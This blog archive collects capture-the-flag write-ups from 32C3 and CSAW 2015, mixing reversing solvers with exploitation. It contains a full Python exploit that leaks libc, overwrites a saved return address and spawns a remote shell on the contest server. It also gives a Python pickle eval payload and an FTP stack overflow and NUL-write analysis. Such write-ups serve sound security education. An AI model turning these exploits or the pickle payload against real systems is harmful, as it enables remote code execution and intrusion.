Thursday, December 31, 2015

32C3 CTF - Pwn 200 - Teufel

The binary allocates memory using mmap as below:
mmap(NULL, 12288, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0x7ffff7ff3000
And then 4096 bytes is given R+W permission:
mprotect(0x7ffff7ff4000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(mmap_addres+4096, 4096, PROT_READ|PROT_WRITE) = 0
Then stack pointer is set to address as mmap_address+8192. The function at 0x004004E6, allocates a stack as RSP-8 along with saved RIP and RBP. After this there are couple of read calls, first one reading bytes used as count parameter for second read call.
.text:00000000004004EE mov     edi, 0          ; fd
.text:00000000004004F3 lea     rsi, [rbp+buf]  ; buf
.text:00000000004004F7 mov     edx, 8          ; nbytes
.text:00000000004004FC call    _read

.text:0000000000400507 mov     edi, 0          ; fd
.text:000000000040050C lea     rsi, [rbp+buf]  ; buf
.text:0000000000400510 mov     rdx, [rbp+buf]  ; nbytes
.text:0000000000400514 call    _read
This leaves us with option to overwrite saved RIP, but very less amount of data could be written ie. 24 bytes. There is also an info leak due to puts, which prints data till NUL byte
.text:000000000040051F lea     rdi, [rbp+buf]  ; s
.text:0000000000400523 call    _puts
Below is the idea for info leak to get mmap and libc address:

[*] Trigger info leak using puts call, to get address of mmap area by leaking saved RBP
[*] Overwrite saved RBP with address of GOT entry of libc function
[*] Overwrite saved RIP to return again to puts call@0040051F. This will dump both mmap and libc address in one execution

Since the offset between libc and mmap remains fixed, we can calculate this using above info leak. Next to execute code I looked for single gadget call to execve in the provided libc
.text:00000000000F6950 loc_F6950:                              ; CODE XREF: sub_F6260+661
.text:00000000000F6950                 lea     rdi, aBinSh     ; "/bin/sh"
.text:00000000000F6957                 jmp     short loc_F6911

.text:00000000000F6911 loc_F6911:                              ; CODE XREF: sub_F6260+6F7
.text:00000000000F6911                 mov     rdx, [rbp+var_F8]
.text:00000000000F6918                 mov     rsi, r8
.text:00000000000F691B                 call    execve
Among the few available gadgets for execve call, the above one doesn't use RSP for memory reference and hence we can safely use in exploit. RBP is controlled due to overflow and r8 is set to 0 due to program state during crash, thus making a call execve("/bin/sh", 0, 0). Below is the exploit:
#!/usr/bin/env python

import socket
import telnetlib
import struct

ip = '136.243.194.41'
port = 666

# from the provided libc
offset_exit = 0x00000000000cafe0

got_exit = 0x00600FD0

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

# get address of mmap
soc.send(struct.pack("<Q", 0xff))
# overwrite NUL byte in saved RBP to leak address
soc.send('AAAAAAAAA')
RBP = soc.recv(64).strip()[-5:]
RBP = chr(0) + RBP + chr(0)*2
RBP = struct.unpack("<Q", RBP)[0]
print 'Address of mmap : %s' % hex(RBP)

# get address of libc
payload  = struct.pack("<Q", 0xff)
payload += struct.pack("<Q", 0x0000414141414141)
payload += struct.pack("<Q", got_exit + 8) # leak got entry of _exit
payload += struct.pack("<Q", 0x0040051F) # address to puts call
soc.send(payload)

soc.recv(128)
libc_exit = soc.recv(128).strip() + chr(0)*2
libc_exit = struct.unpack("<Q", libc_exit)[0]
print 'Address of exit : %s' % hex(libc_exit)

libc_base = libc_exit - offset_exit
print 'Address of libc base : %s' % hex(libc_base)

mmap_to_libc = RBP - libc_base
print 'Address offset : %s' % hex(mmap_to_libc)
Address of mmap : 0x7f30435c6000
Address of exit : 0x7f30430a6fe0
Address of libc base : 0x7f3042fdc000
Address offset : 0x5ea000
#!/usr/bin/env python

import socket
import telnetlib
import struct

ip = '136.243.194.41'
port = 666

offset_libc_base = 0x5ea000
offset_execve = 0x0F6950

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

# get address of mmap
soc.send(struct.pack("<Q", 0xff))
# overwrite NUL byte in saved RBP to leak address
soc.send('AAAAAAAAA')
RBP = soc.recv(64).strip()[-5:]
RBP = chr(0) + RBP + chr(0)*2
RBP = struct.unpack("<Q", RBP)[0]
print 'Address of mmap : %s' % hex(RBP)

libc_base = RBP - offset_libc_base
execve = libc_base + offset_execve

# get shell
payload  = struct.pack("<Q", 0xff)
payload += struct.pack("<Q", 0x0000414141414141)
payload += struct.pack("<Q", 0x00600800) # RBP pointing to NULL
payload += struct.pack("<Q", execve)
soc.send(payload)
soc.recv(16)

s = telnetlib.Telnet()
s.sock = soc
s.interact()
# 32C3_mov_pop_ret_repeat
Flag for the challenge is 32C3_mov_pop_ret_repeat

32C3 CTF - Misc 300 - Gurke

This challenge is about python pickle. The remote script fetches the flag as below:
class Flag(object):
    def __init__(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("172.17.0.1", 1234))
        self.flag = s.recv(1024).strip()
        s.close()
  
flag = Flag()
Once the Flag class is instantiated, seccomp is used to restrict many of syscalls eg. socket calls used in Flag class won't work
f = SyscallFilter(KILL)
f.add_rule_exactly(ALLOW, "read")
f.add_rule_exactly(ALLOW, "write", Arg(0, EQ, sys.stdout.fileno()))
f.add_rule_exactly(ALLOW, "write", Arg(0, EQ, sys.stderr.fileno()))
f.add_rule_exactly(ALLOW, "close")
f.add_rule_exactly(ALLOW, "exit_group")

f.add_rule_exactly(ALLOW, "open", Arg(1, EQ, 0))
f.add_rule_exactly(ALLOW, "stat")
f.add_rule_exactly(ALLOW, "lstat")
f.add_rule_exactly(ALLOW, "lseek")
f.add_rule_exactly(ALLOW, "fstat")
f.add_rule_exactly(ALLOW, "getcwd")
f.add_rule_exactly(ALLOW, "readlink")
f.add_rule_exactly(ALLOW, "mmap", Arg(3, MASKED_EQ, 2, 2))
f.add_rule_exactly(ALLOW, "munmap")
But since the flag is already present in the scope of __main__, we can fetch it using the below pickle payload
class payload(object):
    def __reduce__(self):
        return (eval, ("__import__('__main__').flag.flag",))

sploit = pickle.dumps(payload())
Flag for the challenge is 32c3_rooDahPaeR3JaibahYeigoong

Thursday, October 22, 2015

FireEye Second Flare-On Reversing Challenges

My solutions for Flare-On reversing challenges is here

FireEye published some statistics in there blog
- Official Solutions and Winner Statistics
- Announcing the Second FLARE On Challenge

And this is what I got as prize from FLARE team

Wednesday, September 23, 2015

CSAW CTF - RE500 - wyvern

We got a 64-bit ELF for this challenge. Running strings shows the use of Obfuscator-LLVM
Obfuscator-LLVM clang version 3.6.1 (tags/RELEASE_361/final) (based on Obfuscator-LLVM 3.6.1)
The binary expects a valid key!
$ ./wyvern_c85f1be480808a9da350faaa6104a19b 
+-----------------------+
|    Welcome Hero       |
+-----------------------+

[!] Quest: there is a dragon prowling the domain.
 brute strength and magic is our only hope. Test your skill.

Enter the dragon's secret:
For further analysis, I used PIN based tracer. First objective was to find the length. Supplying an input of 100 bytes, the CMP instruction was found using PIN
0x4046b6 : cmp rax, rcx
0x4046b6 : [0x64] [0x1c]
The length of key is 28 bytes. Now lets see if we could find the algorithm by tracking user input using PIN tool. Supplying input as BAAAAAAAAAAAAAAAAAAAAAAAAAAA, below instructions were found:
0x4017e8 : add ecx, dword ptr [rax]
0x4017e8 : [0x42] [0] := [0x42]      -> input B
--
0x402a7f : cmp eax, ecx
0x402a7f : [0x64] [0x42]      -> compared with 0x64
Now supplying input as dBAAAAAAAAAAAAAAAAAAAAAAAAAA
0x4017e8 : add ecx, dword ptr [rax]
0x4017e8 : [0x42] [0x64] := [0xa5]   -> input A and 0x64 from previous operation
--
0x402a7f : cmp eax, ecx       
0x402a7f : [0xd6] [0xa5]
So the algorithm reads each byte of user input, compares with a hard coded array, which is a sum input and previous result
0x00 + input[0] == 0x64
0x64 + input[1] == 0xd6
.....
Lets fetch the array using GDB by setting breakpoint at 0x402a7f, and compute the flag
import gdb

sum_array = [0]
def exit_handler(event):
    key = ''
    for i in range(len(sum_array)-1):
        key += chr(sum_array[i+1] - sum_array[i]) 
    print key
    
def callback_fetch_array():
    EAX = int(gdb.parse_and_eval("$eax"))
    sum_array.append(EAX)
    gdb.execute("set $ecx = $eax")

class HitBreakpoint(gdb.Breakpoint):
    def __init__(self, loc, callback):
        super(HitBreakpoint, self).__init__(
            loc, gdb.BP_BREAKPOINT, internal=False)
        self.callback = callback
        
    def stop(self):
        self.callback()
        return False

HitBreakpoint("*0x402a7f", callback_fetch_array) 
gdb.events.exited.connect(exit_handler)
$ gdb -q ./wyvern_c85f1be480808a9da350faaa6104a19b

gdb-peda$ source re500.py
Breakpoint 1 at 0x402a7f

gdb-peda$ run
Enter the dragon's secret: AAAAAAAAAAAAAAAAAAAAAAAAAAAA

[+] A great success! Here is a flag{AAAAAAAAAAAAAAAAAAAAAAAAAAAA}
[Inferior 1 (process 33655) exited normally]
dr4g0n_or_p4tric1an_it5_LLVM
So the key is dr4g0n_or_p4tric1an_it5_LLVM

CSAW CTF - RE300 - FTP

The challenge binary is a 64 bit executable. The objective was to login as user blankwall by finding the password. The supplied password is processed using a hash function at 0x00401540. Below is the decompiled code of the function:
uint32_t calc_hash(char *input)
{
  int counter; 
  uint32_t state; 

  state = 5381;
  for (counter = 0; input[counter]; ++counter)
    state = 33 * state + input[counter];
  return state;
}
The output of this function must be equal to 0x0D386D209. The length of the password is not known and state variable is 32-bit, hence modulo 0xffffffff. I used Z3 to solve this and multiple solutions are possible. Below is the solver:
#!/usr/bin/env python

from z3 import * 

# >>> (0x1505 * 0x21 * 0x21 * 0x21) < 0xD386D209
# True
# minimum length of password
passlen = 4

def init_solver(passlen):
    s = Solver()
    vectors = {}
    for c in range(passlen):
        vec = BitVec(str(c), 8)
        vectors[c] = vec
        s.add(And(0x20 < vec, vec < 0x7F))
    return s, vectors

while True:
    s, vectors = init_solver(passlen)
    state = 0x1505 
    for i in range(passlen):
        vec = ZeroExt(24, vectors[i])
        state = state * 0x21 + vec
    s.add(state == 0xD386D209)

    if s.check() == sat: break
    passlen += 1

m = s.model()
c = lambda m, i: chr(m[vectors[i]].as_long())
print ''.join([c(m,i) for i in range(passlen)])
This gives the password UIcy1y. Login using the password as
con.write('USER blankwall' + chr(0xa))
password = 'PASS UIcy1y\x00' + chr(0xa)
con.write(password)
The file re_solution had the flag, flag{n0_c0ok1e_ju$t_a_f1ag_f0r_you}

CSAW CTF - RE200 - Hacking Time

For this challenge we got a NES ROM to reverse engineer.
HackingTime_03e852ace386388eb88c39a02f88c773.nes: iNES ROM dump, 2x16k PRG, 1x8k CHR, [Vert.]
I used FCEUX emulator to run the ROM file. The game asks for a password after few messages



The ROM memory could be viewed using Hex viewer, provided as part of FCEUX debug tools. I supplied a password ABCDABCDABCDABCDABCDABCD and found this is memory



Then set read memory access breakpoint for address 0x5 i.e. first byte of string. Now on continuing the game, the breakpoint is hit



The program counter is at 0x82F7, so we know what part of code to analyze. Then I found the Nintendo Entertainment System (NES) ROM loader module for IDA Pro, for analyzing the challenge ROM.
ROM:82F1 algorithm:                              ; CODE XREF: main_function+1C7
ROM:82F1                 LDY     #0
ROM:82F3                 LDA     #0
ROM:82F5                 STA     VAL
ROM:82F7
ROM:82F7 process_loop:                           ; CODE XREF: algorithm+44
ROM:82F7                 LDA     5,Y             ; LDA INPUTKEY,A
ROM:82FA                 TAX                     ; X = A
ROM:82FB                 ROL     A               ; ROL A,1
ROM:82FC                 TXA                     ; A = X
ROM:82FD                 ROL     A               ; ROL A, 1
ROM:82FE                 TAX                     ; X = A
ROM:82FF                 ROL     A               ; ROL A, 1
ROM:8300                 TXA                     ; A = X
ROM:8301                 ROL     A               ; ROL A,1
ROM:8302                 TAX                     ; X = A
The PC 0x82F7, takes us to the actual validation algorithm used. The algorithm processes one byte at a time using multiple rotate operations and couple of XOR's with hardcoded arrays values. Good reference to instruction set is found here. The algorithm was rewritten in python and bruteforce gave the solution
import string

CHECKA = [0x70, 0x30, 0x53, 0xa1, 0xd3, 0x70, 0x3f, 0x64, 0xb3, 0x16,
          0xe4, 0x04, 0x5f, 0x3a, 0xee, 0x42, 0xb1, 0xa1, 0x37, 0x15,
          0x6e, 0x88, 0x2a, 0xab]
CHECKB = [0x20, 0xac, 0x7a, 0x25, 0xd7, 0x9c, 0xc2, 0x1d, 0x58, 0xd0,
          0x13, 0x25, 0x96, 0x6a, 0xdc, 0x7e, 0x2e, 0xb4, 0xb4, 0x10,
          0xcb, 0x1d, 0xc2, 0x66, 0x3b]

CF = 0
def ROR(REG): 
    global CF
    if CF: REG |= 0x100
    CF = REG & 1
    REG  >>= 1
    return REG
    
def ROL(REG):
    global CF
    REG <<= 1
    if CF: REG |= 1
    CF = 1 if (REG > 0xFF) else 0
    return REG & 0xFF

STACK = 0
ADDR_3B = 0
KEY = ''

for Y in range(24):
    for A in string.uppercase+string.digits:
        C = A
        VAL_3B = ADDR_3B
        A = ord(A)  # ROM:82F7                 LDA     $5,Y  
        X = A       # ROM:82FA                 TAX
        A = ROL(A)  # ROM:82FB                 ROL     A
        A = X       # ROM:82FC                 TXA
        A = ROL(A)  # ROM:82FD                 ROL     A
        X = A       # ROM:82FE                 TAX 
        A = ROL(A)  # ROM:82FF                 ROL     A
        A = X       # ROM:8300                 TXA   
        A = ROL(A)  # ROM:8301                 ROL     A 
        X = A       # ROM:8302                 TAX     
        A = ROL(A)  # ROM:8303                 ROL     A
        A = X       # ROM:8304                 TXA      
        A = ROL(A)  # ROM:8305                 ROL     A
        STACK = A   # ROM:8306                 PHA 
        A = VAL_3B  # ROM:8307                 LDA     ROLL 
        X = A       # ROM:8309                 TAX
        A = ROR(A)  # ROM:830A                 ROR     A 
        A = X       # ROM:830B                 TXA  
        A = ROR(A)  # ROM:830C                 ROR     A
        X = A       # ROM:830D                 TAX  
        A = ROR(A)  # ROM:830E                 ROR     A
        A = X       # ROM:830F                 TXA 
        A = ROR(A)  # ROM:8310                 ROR     A
        VAL_3B = A  # ROM:8311                 STA     ROLL
        A = STACK   # ROM:8313                 PLA
        CF = 0      # ROM:8314                 CLC 
        A = (A + VAL_3B) & 0xFF # ROM:8315     ADC     ROLL
        A = A ^ CHECKA[Y]   # ROM:8317     EOR     $955E,Y
        VAL_3B = A  # ROM:831A                 STA     ROLL
        X = A       # ROM:831C                 TAX 
        A = ROL(A)  # ROM:831D                 ROL     A
        A = X       # ROM:831E                 TXA
        A = ROL(A)  # ROM:831F                 ROL     A
        X = A       # ROM:8320                 TAX
        A = ROL(A)  # ROM:8321                 ROL     A
        A = X       # ROM:8322                 TXA
        A = ROL(A)  # ROM:8323                 ROL     A 
        X = A       # ROM:8324                 TAX
        A = ROL(A)  # ROM:8325                 ROL     A
        A = X       # ROM:8326                 TXA
        A = ROL(A)  # ROM:8327                 ROL     A
        X = A       # ROM:8328                 TAX    
        A = ROL(A)  # ROM:8329                 ROL     A 
        A = X       # ROM:832A                 TXA      
        A = ROL(A)  # ROM:832B                 ROL     A
        A = A ^ CHECKB[Y]   # ROM:832C         EOR     $9576,Y
        if A == 0:
            KEY += C
            ADDR_3B = VAL_3B
            break
        else: 
            VAL_3B = 0
print KEY
The flag is NOHACK4UXWRATHOFKFUHRERX

CSAW CTF - Exploitables300 - FTP

This is a continuation of Reversing 300 challenge. The goal is to read the flag file. But the binary has a protection, if filename has 'f' character, then the request is considered invalid. This invalid character 'f' used for comparison is saved as part of bss memory, hence writeable.

There were few bugs in this binary

[*] Buffer overflow in password handling function @ 0x040159B. Input buffer is copied into stack till space character
password_sz = strlen(pass_command);
for ( i = 0; *pass_command != ' ' && password_sz-1 >= i; ++i )
{
    c = pass_command++;
    command[i] = *c;                            
}
USER blankwall
Please send password for user blankwall
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
login with USER PASS
[0x4017c5] __stack_chk_fail(4, 0x403086, 21, -1*** stack smashing detected ***: ./ftp_0319deb1c1c033af28613c57da686aa7 terminated
 <no return ...>
[pid 34300] [0x7ffff7a4bcc9] --- SIGABRT (Aborted) ---
[pid 34300] [0xffffffffffffffff] +++ killed by SIGABRT +++
[*] Buffer overflow in command handling function @ 0x00402673, same as password handling function
memset(command, 0, 128);

command_sz = strlen(command_string);
for ( i = 0; *command_string != ' ' && command_sz-1 >= i; ++i )
{
   c = command_string++;
   command[i] = *c;                        
}
[*] Arbitrary NUL write when handling STOR command @ 0x00401DF9. Amount of bytes received is not checked and used as index for string termination
while (1)
{
    bytes_read = recv(socket, file_information, 10, 0);
    total_size += bytes_read;
}

file_information[total_size] = 0;
file_information buffer resides above invalid character buffer, hence could be used to toggle off the invalid charcacter byte.
.bss:0000000000604408 invalid_character dd ?  
RAX: 0x208
=> 0x401ee0: mov    BYTE PTR [rax+0x604200],0x0

gdb-peda$ x/x 0x604200+0x208
0x604408: 0x0000000000000066
[*] The file_information buffer is used in couple of other functions like LIST and RETR, which could also overwrite the invalid character byte.
Direction Type Address         Text                                     
--------- ---- -------         ----                                     
          o    LIST:loc_401BAD mov     [rbp+s], offset file_information 
Down      o    LIST+26F        mov     esi, offset file_information     
Down      o    STOR+8F         mov     esi, offset file_information; buf
Down      w    STOR+E7         mov     ds:file_information[rax], 0      
Down      o    RETR+134        mov     edi, offset file_information; ptr
Down      o    RETR+158        lea     rsi, file_information[rax]; buf  
Flag for the challenge is flag{exploiting_ftp_servers_in_2015}